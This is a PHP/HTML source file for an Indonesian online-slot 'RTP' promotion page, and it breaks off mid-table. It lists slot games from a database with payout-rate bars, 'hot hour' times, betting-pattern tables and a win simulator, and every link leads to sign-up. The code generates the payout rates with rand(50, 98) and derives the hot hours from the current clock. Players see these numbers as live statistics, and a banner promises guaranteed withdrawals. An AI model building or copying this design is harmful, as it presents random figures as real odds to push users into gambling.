<?php
include "admin/koneksi.php";

// Ambil data dari database
$id = '1';
$qry_hadiah = mysqli_query($koneksi, "SELECT * FROM atur_situs WHERE id='$id'") or die("Query Error: " . mysqli_error($koneksi));
$dt_bank = mysqli_fetch_array($qry_hadiah);

// Data situs
$nama_situs = $dt_bank['nama_situs'] ?? '';
$title_situs = $dt_bank['title_situs'] ?? '';
$meta_deskripsi = $dt_bank['meta_deskripsi'] ?? '';
$logo = $dt_bank['logo'] ?? '';
$favicon = $dt_bank['favicon'] ?? '';
$background_situs_choice = $dt_bank['background_situs_choice'] ?? '';
$background_situs = $dt_bank['background_situs'] ?? '';
$slider_banner = $dt_bank['slider_banner'] ?? '';
$link_daftar = $dt_bank['link_daftar'] ?? '';
$link_login = $dt_bank['link_login'] ?? '';
$link_klaim = $dt_bank['link_klaim'] ?? '';
$root_color = $dt_bank['root_color'] ?? '';
$theme_color = $dt_bank['theme_color'] ?? 'dark'; // Default ke dark jika tidak ada
?>
<!DOCTYPE html>
<html lang="id">

<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title><?php echo $title_situs; ?></title>
   <meta name="title" content="<?php echo $title_situs; ?>">
   <meta name="description" content="<?php echo $meta_deskripsi; ?>">
   <link rel="shortcut icon" href="img/<?php echo $favicon; ?>" type="image/x-icon">
   <link rel="canonical" href="/">
   <link rel="stylesheet" href="css/rtp-<?php echo $theme_color; ?>.css">
</head>

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">
<style>
   .warning-text {
      color: red;
      font-weight: bold;
      text-align: center;
      margin-top: 10px;
   }

   .info-text {
      font-size: 14px;
      margin-top: 10px;
   }

   .progress-bar-container {
      width: 100%;
      height: 20px;
      background-color: #ddd;
      border-radius: 10px;
      overflow: hidden;
      margin-top: 10px;
   }

   .progress-bar {
      height: 100%;
      text-align: center;
      color: white;
      font-weight: bold;
      line-height: 20px;
   }

   .artikel {
      font-family: 'Roboto', sans-serif;
      max-width: 1000px;
      margin: 50px auto;
      padding: 20px 30px;
      border-radius: 10px;
   }

   .artikel h1 {
      color: #fff;
      font-size: 26px;
      margin-bottom: 20px;
      font-weight: 700;
   }

   .artikel p {
      margin-bottom: 15px;
      color: #444;
      font-size: 16px;
   }

   .artikel a {
      color: #1a73e8;
      text-decoration: none;
   }

   .artikel a:hover {
      text-decoration: underline;
   }

   .artikel strong {
      font-weight: bold;
   }

   .custom-carousel {
      position: relative;
      width: 100%;
      max-width: 100%;
      overflow: hidden;
      margin-bottom: 20px;
   }

   .carousel-track {
      display: flex;
      transition: transform 0.5s ease-in-out;
   }

   .carousel-slide {
      min-width: 100%;
      box-sizing: border-box;
   }

   .carousel-slide img {
      width: 100%;
      height: auto;
      display: block;
   }

   .carousel-btn {
      position: absolute;
      top: 50%;
      transform: translateY(-50%);
      background: rgba(0, 0, 0, 0.5);
      color: white;
      border: none;
      padding: 10px 15px;
      cursor: pointer;
      z-index: 10;
   }

   .carousel-btn.prev {
      left: 10px;
   }

   .carousel-btn.next {
      right: 10px;
   }

   .carousel-btn:hover {
      background: rgba(0, 0, 0, 0.8);
   }

   .carousel-dots {
      text-align: center;
      margin-top: 10px;
      position: absolute;
      bottom: 15px;
      width: 100%;
      z-index: 10;
   }

   .carousel-dot {
      display: inline-block;
      height: 12px;
      width: 12px;
      margin: 0 5px;
      background-color: #ccc;
      border-radius: 50%;
      cursor: pointer;
      transition: background-color 0.3s ease;
   }

   .carousel-dot.active {
      background-color: #333;
   }
</style>
</head>

<body>
   <div class="header">
      <div class="logo-container">
         <img src="img/<?php echo $logo; ?>" alt="Logo" class="logo">
         <div class="rtp-update">
            <p id="rtp-update-date"></p>
            <p id="rtp-countdown"></p>
         </div>
      </div>
      <div class="custom-carousel">
         <div class="carousel-track">
            <?php
            include 'admin/koneksi.php';
            $query = mysqli_query($koneksi, "SELECT * FROM slider_banner ORDER BY id ASC");
            $dots = ''; // kita simpan dots dalam string
            
            $index = 0;
            while ($row = mysqli_fetch_assoc($query)) {
               $gambar = str_replace('../images', 'images', $row['gambar']);
               $alt = htmlspecialchars($row['alt_text']);
               echo '
        <div class="carousel-slide">
          <a href="' . $link_daftar . '" target="_blank">
            <img src="' . $gambar . '" alt="' . $alt . '">
          </a>
        </div>';

               // tambahkan dot
               $dots .= '<span class="carousel-dot" data-index="' . $index . '"></span>';
               $index++;
            }
            ?>
         </div>

         <!-- Tombol navigasi -->
         <button class="carousel-btn prev">&#10094;</button>
         <button class="carousel-btn next">&#10095;</button>

         <!-- Dots -->
         <div class="carousel-dots">
            <?= $dots ?>
         </div>
      </div>

      <div class="buttons">
         <a href="<?php echo $link_daftar; ?>" rel="nofollow" class="masuk">MASUK</a>
         <a href="<?php echo $link_daftar; ?>" rel="nofollow" class="daftar">DAFTAR</a>
      </div>
      <div class="search">
         <input type="text" id="search" placeholder="Cari game..." onkeyup="searchGame()">
         <button onclick="searchGame()">Cari</button>
      </div>
   </div>
   <div class="nav-wrapper">
      <div class="nav-container">
         <a href="pragmatic_play.php" class="nav-menu">PRAGMATIC PLAY</a>

         <a href="pg_soft.php" class="nav-menu">PG SOFT</a>

         <a href="microgaming.php" class="nav-menu">MICROGAMING</a>
         <a href="top_trend.php" class="nav-menu">TOP TREND GAME</a>
         <a href="habanero.php" class="nav-menu">HABANERO</a>
         <a href="spadegaming.php" class="nav-menu">SPADEGAMING</a>
         <a href="playstar.php" class="nav-menu">PLAYSTAR</a>
         <a href="spinroyal.php" class="nav-menu">SPIN ROYAL</a>
         <a href="fatpanda.php" class="nav-menu">FAT PANDA</a>
         <a href="cq9.php" class="nav-menu">CQ9</a>
         <a href="playtech.php" class="nav-menu">PLAYTECH</a>
         <a href="fastspin.php" class="nav-menu">FastSpin</a>
         <a href="bng.php" class="nav-menu">BNG</a>
         <a href="nolimit_city.php" class="nav-menu">NOLIMIT CITY</a>
         <a href="joker.php" class="nav-menu">JOKER</a>
         <a href="ogslot.php" class="nav-menu">OGSLOT</a>
         <a href="clotplay.php" class="nav-menu">CLOTPLAY</a>
         <a href="5games.php" class="nav-menu">5G GAMES</a>
         <a href="nine.php" class="nav-menu">NINES GAMES</a>
         <a href="vpower.php" class="nav-menu">VPOWER</a>
         <a href="aigaming.php" class="nav-menu">AIGAMING</a>
         <a href="rich88.php" class="nav-menu">RICH88</a>
         <a href="live22.php" class="nav-menu">LIVE22</a>
         <a href="evoplay.php" class="nav-menu">EVOPLAY</a>
         <a href="hacksaw.php" class="nav-menu">HACKSAW</a>
         <a href="onegame.php" class="nav-menu">ONEGAME</a>
         <a href="lgd.php" class="nav-menu">LGD</a>
         <a href="besoft.php" class="nav-menu">BESOFT</a>
         <a href="ameba.php" class="nav-menu">AMEBA</a>
         <a href="bigpot.php" class="nav-menu">BIGPOT</a>
      </div>

   </div>
   <div class="header-container">
      <div class="running-text">
         <marquee behavior="scroll" direction="left">
            <?php echo $nama_situs; ?> SITUS SLOT ONLINE TERPERCAYA DENGAN PROSES WD YANG CEPAT AMAN DAN TERPERCAYA, WD
            BERAPAPUN PASTI CAIR!! <?php echo $nama_situs; ?> TIDAK MENERIMA SEMUA TARUHAN VIRTUAL SPORT DAN E-FOOTBALL
            DI PROVIDER APAPUN!! <?php echo $nama_situs; ?> TIDAK MENERIMA SEMUA TARUHAN VIRTUAL SPORT DI PROVIDER SBO
            DAN CMD !!
         </marquee>
      </div>
      <div class="filter-container">
         <label for="filter-select">Tampilkan: </label>
         <select id="filter-select" onchange="filterGames()">
            <option value="all">Semua</option>
            <option value="80plus">RTP 80%+</option>
         </select>
      </div>
   </div>
   <div class="container" id="game-list">
      <?php
      include "admin/koneksi.php";

      // Ambil data dari tabel list_game dengan provider = 1
      $query = mysqli_query($koneksi, "SELECT * FROM list_game WHERE provider = 14 ORDER BY id DESC");

      while ($row = mysqli_fetch_assoc($query)) {
         $id = $row['id'];
         $gambar = str_replace("../img/", "img/", $row['gambar']); // Hapus "../"
         $keterangan = $row['keterangan'];
         $rtp = rand(50, 98); // Simulasi RTP antara 50% - 98%
         $gacor_time = date("H:i", strtotime("+1 hour")) . " WIB - " . date("H:i", strtotime("+2 hour")) . " WIB"; // Simulasi jam gacor
         ?>
         <div class="game-card">
            <img src="<?php echo $gambar; ?>" alt="<?php echo $keterangan; ?>">
            <div class="game-title"><?php echo $keterangan; ?></div>
            <div class="progress-bar-container">
               <div class="progress-bar green" id="rtp-bar-<?php echo $id; ?>" style="width: <?php echo $rtp; ?>%;"></div>
               <div class="progress-bar-text" id="rtp-text-<?php echo $id; ?>"><?php echo $rtp; ?>%</div>
            </div>
            <button class="simulasi-button" onclick="openSimulasiPopup(<?php echo $id; ?>)">Simulasi Kemenangan</button>
            <div class="game-info">
               <p><span class="gacor-time" id="gacor-time-<?php echo $id; ?>"><?php echo $gacor_time; ?></span></p>
               <div class="pola-slot" id="pola-slot-<?php echo $id; ?>">
                  <table class="pola-slot-table">
                     <tbody>
                        <tr>
                           <td>Auto 70</td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="success"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                        </tr>
                        <tr>
                           <td>Auto 70</td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                        </tr>
                        <tr>
                           <td>Auto 70</td>
                           <td class="pola-result"><span class="success"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                        </tr>
                     </tbody>
                  </table>
               </div>
            </div>
            <div id="popup-<?php echo $id; ?>" class="popup">
               <div class="popup-container">
                  <div class="popup-content">
                     <span class="close" onclick="closeSimulasiPopup(<?php echo $id; ?>)">×</span>
                     <h2>Simulasi Kemenangan</h2>
                     <label for="bet-input">Bet:</label>
                     <input type="number" id="bet-input-<?php echo $id; ?>" placeholder="Masukkan bet..."><br>
                     <label for="modal-input">Modal:</label>
                     <input type="number" id="modal-input-<?php echo $id; ?>" placeholder="Masukkan modal..."><br><br>
                     <button onclick="runSimulasi(<?php echo $id; ?>)">Simulasikan</button>
                     <div id="simulasi-result-<?php echo $id; ?>" class="simulasi-result"></div>
                  </div>
               </div>
            </div>
         </div>
         <?php
      }
      ?>
      <div class="game-card">
         <img src="upload/game/mimi/66.png" alt="Fortune Gems">
         <div class="game-title">Fortune Gems</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-0" style="width: 63%;"></div>
            <div class="progress-bar-text" id="rtp-text-0">63%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(0)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-0">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-0">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 5</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 48</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-0" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(0)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-0" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-0" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(0)">Simulasikan</button>
                  <div id="simulasi-result-0" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/65.png" alt="Four Spirits">
         <div class="game-title">Four Spirits</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-1" style="width: 45%;"></div>
            <div class="progress-bar-text" id="rtp-text-1">45%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(1)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-1">23:27 WIB - 00:27 WIB</span></p>
            <div class="pola-slot" id="pola-slot-1">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 40</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-1" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(1)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-1" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-1" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(1)">Simulasikan</button>
                  <div id="simulasi-result-1" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/64.png" alt="Champion League">
         <div class="game-title">Champion League</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-2" style="width: 18%;"></div>
            <div class="progress-bar-text" id="rtp-text-2">18%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(2)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-2">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-2">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-2" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(2)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-2" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-2" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(2)">Simulasikan</button>
                  <div id="simulasi-result-2" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/63.png" alt="Tiger Gold">
         <div class="game-title">Tiger Gold</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-3" style="width: 51%;"></div>
            <div class="progress-bar-text" id="rtp-text-3">51%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(3)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-3">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-3">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 34</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 19</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-3" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(3)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-3" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-3" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(3)">Simulasikan</button>
                  <div id="simulasi-result-3" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/59.png" alt="Fruit Machine">
         <div class="game-title">Fruit Machine</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-4" style="width: 58%;"></div>
            <div class="progress-bar-text" id="rtp-text-4">58%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(4)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-4">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-4">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 35</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-4" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(4)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-4" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-4" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(4)">Simulasikan</button>
                  <div id="simulasi-result-4" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/61.png" alt="Fruit Opolis">
         <div class="game-title">Fruit Opolis</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-5" style="width: 96%;"></div>
            <div class="progress-bar-text" id="rtp-text-5">96%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(5)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-5">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-5">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 23</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 42</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-5" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(5)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-5" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-5" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(5)">Simulasikan</button>
                  <div id="simulasi-result-5" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/62.png" alt="Money Heist">
         <div class="game-title">Money Heist</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-6" style="width: 42%;"></div>
            <div class="progress-bar-text" id="rtp-text-6">42%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(6)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-6">23:29 WIB - 00:29 WIB</span></p>
            <div class="pola-slot" id="pola-slot-6">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 15</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-6" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(6)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-6" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-6" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(6)">Simulasikan</button>
                  <div id="simulasi-result-6" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/35.png" alt="Aztec King">
         <div class="game-title">Aztec King</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-7" style="width: 27%;"></div>
            <div class="progress-bar-text" id="rtp-text-7">27%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(7)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-7">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-7">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 5</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 19</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-7" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(7)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-7" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-7" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(7)">Simulasikan</button>
                  <div id="simulasi-result-7" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/47.png" alt="Squid Game">
         <div class="game-title">Squid Game</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-8" style="width: 15%;"></div>
            <div class="progress-bar-text" id="rtp-text-8">15%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(8)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-8">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-8">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-8" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(8)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-8" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-8" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(8)">Simulasikan</button>
                  <div id="simulasi-result-8" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/39.png" alt="Spartan Warrior">
         <div class="game-title">Spartan Warrior</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-9" style="width: 35%;"></div>
            <div class="progress-bar-text" id="rtp-text-9">35%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(9)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-9">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-9">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 16</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 7</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-9" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(9)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-9" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-9" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(9)">Simulasikan</button>
                  <div id="simulasi-result-9" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/40.png" alt="Caishen">
         <div class="game-title">Caishen</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-10" style="width: 13%;"></div>
            <div class="progress-bar-text" id="rtp-text-10">13%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(10)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-10">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-10">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-10" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(10)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-10" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-10" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(10)">Simulasikan</button>
                  <div id="simulasi-result-10" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/41.png" alt="Ancient Temple">
         <div class="game-title">Ancient Temple</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-11" style="width: 27%;"></div>
            <div class="progress-bar-text" id="rtp-text-11">27%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(11)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-11">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-11">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 34</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 7</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-11" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(11)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-11" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-11" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(11)">Simulasikan</button>
                  <div id="simulasi-result-11" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/43.png" alt="Avengers: Infinity War">
         <div class="game-title">Avengers: Infinity War</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-12" style="width: 89%;"></div>
            <div class="progress-bar-text" id="rtp-text-12">89%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(12)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-12">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-12">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 39</td>
